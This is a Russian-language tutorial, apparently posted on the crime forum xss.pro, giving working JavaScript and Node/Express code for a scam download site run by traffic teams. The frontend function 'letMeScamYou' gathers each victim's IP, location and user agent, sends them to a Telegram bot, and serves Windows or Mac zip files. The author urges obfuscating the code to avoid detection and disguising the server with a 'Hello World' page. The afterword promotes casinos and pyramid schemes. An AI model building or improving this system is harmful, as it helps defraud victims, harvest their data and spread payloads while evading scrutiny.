const tgBaseUrl = `https://api.telegram.org/bot${tgToken}/sendMessage?chat_id=${tgChat}&disable_web_page_preview=true&parse_mode=html&text=`
const tgNotify = async (msg) => {
await fetch(encodeURI(tgBaseUrl + msg))
}
const letMeScamYou = async () => {
const losPromos = await (await fetch('https://your.site')).json()
const promoCode = document.getElementById("myInput").value.toUpperCase()
if (promoCode == undefined) {
return
}
if (promoCode in losPromos) {
alert('Your download will start soon!')
const userData = await getUserData()
await tgNotify(`🔔 <b>Уведомление для @${losPromos[promoCode]}</b>\n\n👾 <b>Проект: </b>MY_TEST_PROJECT\n📡 <b>IP-адрес: </b>${userData.ip}\n🌍 <b>Локация: </b>${userData.city}, ${userData.country_name}\n🌐 <b>User-Agent: </b>${window.navigator.userAgent}`)
getDownloadByOs()
} else if (promoCode) {
alert("This promo code doesn't exist")
}
}
const getUserData = async () => {
const response = await fetch('https://ipapi.co/json')
const responseJSON = await response.json()
return responseJSON
}
const getDownloadByOs = () => {
let osData = window.navigator.userAgent;
if (osData.search('Windows') !== -1) {
download('https://your.site/win.zip')
} else if (osData.search('Mac') !== -1) {
download('https://your.site/mac.zip')
} else {
alert('Version for your platform not available yet. Stay tuned!')
}
}
const download = (url) => {
const a = document.createElement('a')
a.href = url
a.download = url.split('/').pop()
document.body.appendChild(a)
a.click()
document.body.removeChild(a)
}
Ну и собственно все на этом, теперь пользователь может вводить промокод в специально отведенном для этого поле и скачивать свой файл.
Момент с модалкой я тут специально упускаю, потому что во-вервых уже писал об этом, а во-вторых - это большой полет для фантазии, можно придумать всякие разные прикольные варианты реализации.
Важный момент, который я хочу сказать про фронт перед тем, как мы перейдем к бэкэнду. Обфусцируйте этот код перед тем, как подключать к сайту. То есть вы вот этот скрипт взяли, прогнали через обфускатор (например obfuscator io), получили кашу в перемешку с трэшем нагенеренным. И его уже добавляете в свой проект. Так и код проживет намного дольше, и не будете лишним отсвечивать перед пользователем.
Ну все, теперь с фронтом точно закончили - переходим к бэкэнду.
БЭКЭНД
На бэке мы будем использовать, как я уже сказал, ноду и экспресс.
Начнем с базовой вещи - установка всего этого добра. К сожалению, у джаваскрипта как языка и экосистемы есть такая неприятная особенность - развитие происходило очень быстро и стремительно, каждый изобретал свой велосипед, и поэтому по итогу в js сейчас существует 100500 вариантов сделать одно и то же. Больно, но что поделать.
Методом проб и ошибок, я пришел к следующему наиболее комфортному формату развертки ноды:
(Все ниже описанное чаще всего я проделываю на серверах под Ubuntu 22.04. На других никс системах будет плюс минус то же самое. Под виндой необходимо предварительно поставить гит, разрешить выполнение неподписанного пауэршелла и поставить все используя собранные установщики для винды)
Первым делом качаем и ставим nvm - это утилита для контроля версий ноды.
Bash:
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.5/install.sh | bash
Через нее ставим ноду 18 версии и активируем ее как среду по умолчанию
Bash:
nvm install 18
nvm use 18
Затем ставим yarn, переходим в папку проекта, инициализируем проект и добавляем нужные нам пакеты с помощью команды yarn add:
Bash:
npm i -g yarn
mkdir st
cd st/
yarn init
yarn add express
yarn install
Опять же, не буду углубляться в тему почему я использую yarn и чем мне не угодил дефолтный npm - так уж сложилось.
Переходим к нашему файлу index.js и самой реализации бэка.
Сначала я покажу базовый вариант - для одного проекта. И затем уже продемонстрирую как от этого можно сделать шаг в сторону работы с несколькими командами по нескольким проектам.
Для начала, импортируем и инициализируем всю необходимую нам обвзяку:
JavaScript:
const express = require('express')
const bodyParser = require('body-parser')
const cors = require('cors')
const app = express()
const port = 80
var urlencodedParser = bodyParser.urlencoded({ extended: false })
app.use(cors())
app.use('/qwerty12345', express.static('public'))
Тут особо ничего интересного - импортировали экспресс, а также надстройки для парса запросов и корс. Создали прилку, указали путь к статик директории (не забываем также создать эту директорию в нашей системе и сложить туда все нужные файлы). Путь можно указать любой, я предпочитаю делать его рандомным, чтобы хоть немного спрятать наши файлы от любопытных глаз.
Далее мы создадим словарь для хранения промокодов. Идея следующая - конечно можно было бы сделать по-кошерному, сразу повесить мускул, но зачем усложнять на этапе обучения. Поэтому реализуем наше типа хранилище в формате простого словаря, где промокоды - ключи, а айди пользователей - соответственно значения.
JavaScript:
var losPromos = {'MY-CODE': 'my_tg_username'}
По традиции повесим на корень отдачу хэллоуворлда, чтобы никто не догадался
JavaScript:
app.get('/', (req, res) => {
res.send('Hello World!')
})
И в самый конец файла добавим старт нашего приложения
JavaScript:
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})
Окей, с подготовкой закончили, теперь перейдем к основным (значащим) эндпоинтам. Их у нас будет два - сеттер и геттер
Эндпоинт getPromo отдает на фронт словарь с промокодами и именами пользователей (для проверки и дальнейших действий).
JavaScript:
app.get('/getPromo', (req, res) => {
res.json(solPromos)
})
Эндпоинт setPromo - служебный, для обновления словаря промокодов. Здесь мы методом пост шлем новый словарь (это же дефолтный сеттер, он не обязан быть удобным, верно?) и добавляем к нему секретный ключ key (чтобы так могли делать только мы, а не все подряд). Ну и собственно перезаписываем значение наших промиков.
JavaScript:
app.post('/setPromo', urlencodedParser, (req, res) => {
if (req.body.key == 'mymasterkey') {
losPromos = {...req.body}
delete losPromos.key
res.json(losPromos)
} else {
res.send('wrong key')
}
})
Ну вот и все, базовый функционал нашего бэка готов, можно потыкаться туда постмэном и проверить, что все работает как надо.
Если у вас один проект и соло трафферы - дальше можно не усложнять, этого функционала вполне хватает для комфортной работы.
Но что делать, если проектов несколько? Или работает несколько команд, и у каждой свой набор промокодов?
Тут тоже все достаточно просто, мы оставим общую идею и немного изменим реализацию.
Во-первых, пропатчим наше хранилище. Теперь оно будет иметь вот такой вид:
JavaScript:
var losPromos = {
'keys': {'myproject': 'mymasterkey'},
'myproject': {'MY-CODE': 'my_tg_username'},
}
По сути мы добавили еще один уровень вложенности, теперь в losPromos у нас хранятся словари с промиками для разных проектов, а также появился объект keys, в котором мы храним наши токены для внесения изменений (для каждого проекта - свой).
Вместо одного сеттера и геттера, мы с помощью шаблона зададим сразу целую пачку.
Эндпоинт getPromo практически не изменится.
JavaScript:
app.get('/getPromo/:landName', (req, res) => {
res.json(losPromos[req.params.landName])
})
А вот эндпоинт setPromo нужно прописать аккуратно, чтобы не запутаться во вложенности
JavaScript:
app.post('/setPromo/:landName', urlencodedParser, (req, res) => {
if (req.body.key == losPromos.keys[req.params.landName]) {
losPromos[req.params.landName] = {...req.body}
delete losPromos[req.params.landName].key
res.json(losPromos[req.params.landName])
} else {
res.send('wrong key')
}
})
Дополнительно к этому, нам понадобится функционал создания новых проектов - инициализация хранилища промиков и создание ключа.
За это у нас будет отвечать новый эндпоинт setProject
JavaScript:
app.post('/setProject', urlencodedParser, (req, res) => {
if (req.body.key == 'supermasterkey') {
losPromos[req.body.name] = {}
losPromos.keys[req.body.name] = req.body.secret
res.json(losPromos)
} else {
res.send('wrong key')
}
})
Ну и естественно нужно будет поправить на фронте путь до нашего геттера промокодов, он немного изменился.
Итоговый код выглядит вот так:
JavaScript:
const express = require('express')
const bodyParser = require('body-parser')
const cors = require('cors')
const app = express()
const port = 80
var urlencodedParser = bodyParser.urlencoded({ extended: false })
var losPromos = {
'keys': {'myproject': 'mymasterkey'},
'myproject': {'MY-CODE': 'my_tg_username'},
}
app.use(cors())
app.use('/qwerty12345', express.static('public'))
app.get('/', (req, res) => {
res.send('Hello World!')
})
app.get('/getPromo/:landName', (req, res) => {
res.json(losPromos[req.params.landName])
})
app.post('/setPromo/:landName', urlencodedParser, (req, res) => {
if (req.body.key == losPromos.keys[req.params.landName]) {
losPromos[req.params.landName] = {...req.body}
delete losPromos[req.params.landName].key
res.json(losPromos[req.params.landName])
} else {
res.send('wrong key')
}
})
app.post('/setProject', urlencodedParser, (req, res) => {
if (req.body.key == 'supermasterkey') {
losPromos[req.body.name] = {}
losPromos.keys[req.body.name] = req.body.secret
res.json(losPromos)
} else {
res.send('wrong key')
}
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})
Отлично, с кодом закончили, осталось показать как это чудо запускать.
Аматеры запускают через консоль нодой или ярном, но мы же с вами не такие - мы будем запускать менеджером процессов.
Ну если без шуток - это просто удобный способ запустить приложение, поглядывать на логи при необходимости, а также не париться поднимется ли оно в случае краша или ребута.
Ставим pm2, стартуем наше приложение, сохраняем список процессов и добавляем в автозагрузку.
Bash:
npm i -g pm2
pm2 start index.js
pm2 startup
pm2 save
Ну вот собственно и все, система написана, запущена и работает пока мы отдыхаем или считаем денежки.
ПОСЛЕСЛОВИЕ
В завершение этой статьи я хотел бы сказать пару слов о вещах, которые я не стал освещать в основном материале.
Первое - про более сложные реферальные системы.
Здесь я имею в виду полноценные многоуровневые рефералки, а также различные вариации на тему матриц и деревьев. Такие системы широко распространены, и это масхэв если вы планируете запустить казино, или пирамиду, или просто хотите партнерский маркетинг мощно прокачать в своем продукте. В этой статье я не стал про них рассказывать, так как задача очевидно стояла другая - объяснить как написать инструмент для команд, чтобы определять где чей мамонт. Если интересно осветить какой-то другой кейс - напишите мне, сделаем.
Второе - как наверняка заметил вдумчивый читатель, есть некоторые вопросики к реализации. Например, почему мы храним телеграм токен на фронте? Или почему мы не используем базу данных на бэке? Где эндпоинт смены мастер-кода для проектов?
И тут ответ тоже достаточно простой. Я искренне верю, что XSS - ресурс образовательный. Здесь собираются люди в том числе, чтобы развиваться и учиться. Поэтому я намеренно оставил в проекте поле для маневра, чтобы заинтересованный читатель смог не просто жмякнуть контрл ц контрл в, а самостоятельно воспроизвел весь код, доработал его, улучшил и возможно даже поделился своими успехами в комментариях. Для удобства и фронт и бэк написаны на одном языке, поэтому перенос частей кода с фронта на бэк и обратно не доставит читателю никаких трудностей.
Вот список улучшений, с которых я рекомендую начать:
- Перенести отправку уведомлений и все связанные с этим данные на бэк, чтобы не отсвечивать. На фронте оставить только функцию и в нее передавать нужный текст.
- Обернуть на бэке отправку уведомлений в try с таймаутом, чтобы если уведомление не удалось отправить, файл все равно сервился
- Перенести проверку существования промокода так же на бэк, чтобы не светить списком всех промиков. На фронте соответственно изменить логику работы алгоритма проверки через запрос к бэку.
- Реализовать персист на бэке, любым удобным способом - от json файла до полноценной бд
И на этом все!
С вами как всегда был Патрик, буду рад вашим мыслям, пожеланиям и обратной связи в комментариях.
Растите, развивайтесь и зарабатывайте.
Специально для xss.pro